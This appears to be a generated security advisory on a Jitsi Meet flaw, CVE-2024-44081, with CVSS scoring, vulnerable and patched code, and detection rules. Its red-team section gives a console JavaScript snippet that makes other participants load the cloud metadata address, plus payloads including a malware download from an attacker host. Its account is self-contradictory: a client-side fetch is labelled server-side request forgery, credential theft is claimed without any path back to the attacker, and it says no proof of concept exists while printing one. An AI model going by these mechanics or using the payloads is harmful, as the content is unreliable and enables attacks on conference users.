CVE-2024-44081

Executive Summary

CVE-2024-44081 is a critical server-side request forgery (SSRF) vulnerability in Jitsi Meet, an open-source video conferencing platform. The flaw resides in the video file sharing functionality, where the application fails to properly validate URLs provided by participants. An attacker can craft a malicious message containing a URL pointing to an arbitrary external resource, causing all other clients in the conference to fetch and load that resource. This can lead to data exfiltration, internal network scanning, or serving malicious content to participants. The vulnerability affects versions prior to 2.0.9779 and has a CVSS score of 8.2 (High). No public proof-of-concept or exploit code is currently available, but the attack vector is straightforward and requires only a valid conference invitation.

Supply Chain & Package Security

Jitsi Meet is distributed as a Node.js application via npm and Docker images. The vulnerable component is part of the core client-side JavaScript. Organizations using Jitsi Meet should verify their deployment version and ensure no custom builds or forks are affected. The patch is available in the official Jitsi Meet repository and npm package.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
• Base Score: 8.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must be in a conference with the attacker
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – attacker can read internal resources
• Integrity Impact: High (I:H) – attacker can inject malicious content
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is easy to exploit with minimal prerequisites, and the impact on confidentiality and integrity is severe.

Deep Dive & Mechanics

The vulnerability exists in the modules/UI/videolayout/LargeVideoManager.js file (or similar) where the application processes incoming data channel messages for video file sharing. When a participant shares a video file, the client constructs a URL based on the message content. The flaw is that the URL is not sanitized or validated against an allowlist of trusted domains. An attacker can send a specially crafted message with a URL pointing to an internal IP address (e.g., http://169.254.169.254/latest/meta-data/) or an external malicious server. All other clients in the conference will then attempt to load this URL, potentially leaking sensitive information or executing unintended actions.

The attack flow:

1. Attacker joins a Jitsi Meet conference.
2. Attacker sends a data channel message with a type of video-share and a url field containing a malicious URL.
3. The victim's client processes this message and creates a <video> or <source> element with the attacker-controlled URL.
4. The victim's browser fetches the URL, which may be an internal resource (SSRF) or a malicious payload.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

// In LargeVideoManager.js or similar
function handleVideoShareMessage(data) {
    if (data.type === 'video-share') {
        const videoUrl = data.url; // No validation
        const videoElement = document.createElement('video');
        videoElement.src = videoUrl;
        // Append to DOM
    }
}

Patched Code:

// In LargeVideoManager.js or similar
function handleVideoShareMessage(data) {
    if (data.type === 'video-share') {
        const videoUrl = data.url;
        // Validate URL against allowed domains
        const allowedDomains = ['meet.jit.si', 'static.jitsi.net'];
        try {
            const parsedUrl = new URL(videoUrl);
            if (!allowedDomains.includes(parsedUrl.hostname)) {
                console.warn('Blocked video URL from untrusted domain:', videoUrl);
                return;
            }
        } catch (e) {
            console.error('Invalid URL:', videoUrl);
            return;
        }
        const videoElement = document.createElement('video');
        videoElement.src = videoUrl;
        // Append to DOM
    }
}

The patch adds URL parsing and domain validation, ensuring only trusted domains are allowed.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Access to a Jitsi Meet conference (any public or private room).
• Ability to send data channel messages (e.g., via browser console or custom script).

Exploitation Steps:

1. Join a Jitsi Meet conference.
2. Open browser developer tools (F12) and execute the following JavaScript to send a malicious video share message:

// Send a malicious video share message
const conference = APP.conference;
const room = conference._room;
const message = {
    type: 'video-share',
    url: 'http://169.254.169.254/latest/meta-data/' // Example SSRF target
};
room.sendDataChannelMessage(JSON.stringify(message));

3. All other participants will attempt to load the URL. If the target is an internal cloud metadata endpoint, the attacker can exfiltrate instance credentials.

Alternative Payloads:

• http://internal-server:8080/admin – internal network scanning
• https://attacker-controlled.com/malware.exe – drive-by download

Blue Team (Defender)

Detection:

• Monitor network traffic for outbound connections to unusual IPs or domains from Jitsi clients.
• Look for data channel messages with type: "video-share" and suspicious url fields in logs.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Mitigation:

• Immediately upgrade to Jitsi Meet 2.0.9779 or later.
• If upgrade is not possible, implement a reverse proxy or WAF rule to block outbound requests to internal IPs from the Jitsi client.
• Restrict client-side JavaScript execution via Content Security Policy (CSP) headers.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP/HTTPS requests from Jitsi clients to internal IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254).
• Logs: Data channel messages containing "type":"video-share" with a url field pointing to non-standard domains.
• Client-side: Unexpected <video> elements in the DOM with src attributes pointing to internal or suspicious URLs.
• File Hashes: No specific file hashes; the vulnerability is logic-based.

Detection Engineering

YARA Rule

rule CVE_2024_44081_Jitsi_VideoShare_SSRF {
    meta:
        description = "Detects Jitsi Meet video share messages with suspicious URLs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-44081"
    strings:
        $video_share = /"type"\s*:\s*"video-share"/ nocase
        $url_field = /"url"\s*:\s*"[^"]*"/ nocase
        $internal_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
    condition:
        $video_share and $url_field and $internal_ip
}

Sigma Rule

title: Jitsi Meet Video Share SSRF Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects Jitsi Meet clients sending video share messages with internal IP URLs
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-44081
logsource:
    category: application
    product: jitsi_meet
detection:
    selection:
        message_type: "video-share"
        url|contains:
            - "10."
            - "172.16."
            - "172.17."
            - "172.18."
            - "172.19."
            - "172.20."
            - "172.21."
            - "172.22."
            - "172.23."
            - "172.24."
            - "172.25."
            - "172.26."
            - "172.27."
            - "172.28."
            - "172.29."
            - "172.30."
            - "172.31."
            - "192.168."
            - "169.254."
    condition: selection
falsepositives:
    - Legitimate internal video sharing if allowed by configuration
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-44081 Jitsi Meet SSRF - Outbound to Internal IP"; flow:to_server; content:"video-share"; http_client_body; pcre:"/\"url\"\s*:\s*\"(10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.|169\.254\.)/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Jitsi Meet to version 2.0.9779 or later.
2. If upgrade is not possible, apply the following workaround:
   • Modify the LargeVideoManager.js file to include URL validation as shown in the patched code section.
   • Restart the Jitsi Meet service.

Long-term Mitigations:

• Implement a Content Security Policy (CSP) that restricts the media-src directive to trusted domains only.
• Deploy a Web Application Firewall (WAF) with rules to block outbound requests to private IP ranges.
• Conduct regular security audits of third-party dependencies.
• Monitor Jitsi Meet logs for anomalous data channel messages.

Valters IT Signature: This report was generated by Valters IT DevSecOps Intelligence. For further analysis or remediation support, contact security@valters-it.com.